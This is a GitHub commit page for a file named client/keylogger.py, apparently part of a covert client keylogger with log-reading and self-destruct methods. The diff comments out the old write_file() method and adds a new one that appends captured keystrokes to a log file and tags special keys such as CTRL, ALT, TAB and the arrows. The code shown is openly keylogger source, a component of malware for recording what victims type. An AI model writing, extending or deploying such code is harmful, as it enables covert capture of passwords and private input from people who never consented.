Skip to content

Commit bd9992d

Browse files
committed
v0.12.0-alpha
added more keys to write_file()
1 parent baa377f commit bd9992d

File tree

1 file changed

+51
-18
lines changed

1 file changed

+51
-18
lines changed

client/keylogger.py

Lines changed: 51 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -34,24 +34,57 @@ def read_logs(self):
3434
with open(self.path, 'rt') as f:
3535
return f.read()
3636

37-
def write_file(self, keys):
38-
with open(self.path, 'a') as f:
39-
for key in keys:
40-
k = str(key).replace("'", "")
41-
if k.find('backspace') > 0:
42-
f.write(' [BACKSPACE] ')
43-
elif k.find('enter') > 0:
44-
f.write('\n')
45-
# elif k.find('control') > 0: #doesn't currently work
46-
# f.write(' [CTRL] ')
47-
elif k.find('shift') > 0:
48-
f.write(' [SHIFT] ')
49-
elif k.find('space') > 0:
50-
f.write(' ')
51-
elif k.find('caps_lock') > 0:
52-
f.write(' [CAPS_LOCK] ')
53-
elif k.find('Key'):
54-
f.write(k)
37+
# def write_file(self, keys):
38+
# with open(self.path, 'a') as f:
39+
# for key in keys:
40+
# k = str(key).replace("'", "")
41+
# if k.find('backspace') > 0:
42+
# f.write(' [BACKSPACE] ')
43+
# elif k.find('enter') > 0:
44+
# f.write('\n')
45+
# # elif k.find('control') > 0: #doesn't currently work
46+
# # f.write(' [CTRL] ')
47+
# elif k.find('shift') > 0:
48+
# f.write(' [SHIFT] ')
49+
# elif k.find('space') > 0:
50+
# f.write(' ')
51+
# elif k.find('caps_lock') > 0:
52+
# f.write(' [CAPS_LOCK] ')
53+
# elif k.find('Key'):
54+
# f.write(k)
55+
def write_file(self, keys):
56+
with open(self.path, 'a') as f:
57+
for key in keys:
58+
k = str(key).replace("'", "")
59+
if k.find('backspace') > 0:
60+
f.write(' [BACKSPACE] ')
61+
elif k.find('enter') > 0:
62+
f.write('\n')
63+
elif k.find('shift') > 0:
64+
f.write(' [SHIFT] ')
65+
elif k.find('space') > 0:
66+
f.write(' ')
67+
elif k.find('caps_lock') > 0:
68+
f.write(' [CAPS_LOCK] ')
69+
elif k.find('ctrl') > 0:
70+
f.write(' [CTRL] ')
71+
elif k.find('alt') > 0:
72+
f.write(' [ALT] ')
73+
elif k.find('tab') > 0:
74+
f.write(' [TAB] ')
75+
elif k.find('left') > 0:
76+
f.write(' [LEFT_ARROW] ')
77+
elif k.find('right') > 0:
78+
f.write(' [RIGHT_ARROW] ')
79+
elif k.find('up') > 0:
80+
f.write(' [UP_ARROW] ')
81+
elif k.find('down') > 0:
82+
f.write(' [DOWN_ARROW] ')
83+
elif k.find('Key'):
84+
f.write(' [OTHER_KEY: ' + k + '] ')
85+
else:
86+
f.write(k)
87+
5588

5689
def self_destruct(self):
5790
self.flag = 1

0 commit comments

Comments
 (0)